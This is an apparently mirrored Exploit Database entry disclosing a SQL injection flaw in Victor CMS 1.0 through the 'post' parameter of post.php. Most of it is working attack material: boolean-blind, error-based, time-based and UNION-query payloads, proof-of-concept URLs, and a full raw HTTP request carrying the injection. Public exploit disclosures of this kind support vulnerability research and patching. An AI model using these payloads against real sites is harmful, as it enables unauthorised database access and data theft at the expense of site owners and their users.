Victor CMS 1.0 – ‘post’ SQL Injection

• Exploit Database
• 14 阅读

• 作者： BKpatron
  日期： 2020-05-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48451/

• # Exploit Title: Victor CMS 1.0 - 'post' SQL Injection
  # Google Dork: N/A
  # Date: 2020-05-09
  # Exploit Author: BKpatron
  # Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
  # Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
  # Version: v1.0
  # Tested on: Win 10
  # CVE: N/A
  # my website: bkpatron.com
  
  # Discription:
  # The Victor CMS v1.0 application is vulnerable to SQL injection via the 'post' parameter on the post.php page.
  # vulnerable file : post.php
  http://localhost/CMSsite-master/post.php?post=1
  
  
  Parameter: post (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: post=1 AND 2333=2333
  
  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: post=1 AND (SELECT 4641 FROM(SELECT COUNT(*),CONCAT(0x7178787871,(SELECT (ELT(4641=4641,1))),0x717a627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
  
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: post=1 AND (SELECT 7147 FROM (SELECT(SLEEP(5)))vltp)
  
  Type: UNION query
  Title: Generic UNION query (NULL) - 7 columns
  Payload: post=1 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL-- PTYU
  
  [INFO] the back-end DBMS is MySQL
  web application technology: PHP, Apache 2.4.39, PHP 7.2.18
  back-end DBMS: MySQL >= 5.0
  # Proof of Concept:
  http://localhost/CMSsite-master/post.php?post=sqli
  
  http://localhost/CMSsite-master/post.php?post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL--%20PTYU
  
  GET /CMSsite-master/post.php?post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL--%20PTYU HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Cookie: PHPSESSID=gd27m8o57gcb23t7se4d4tdv1g
  Connection: keep-alive
  Upgrade-Insecure-Requests: 1
  post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL--%20PTYU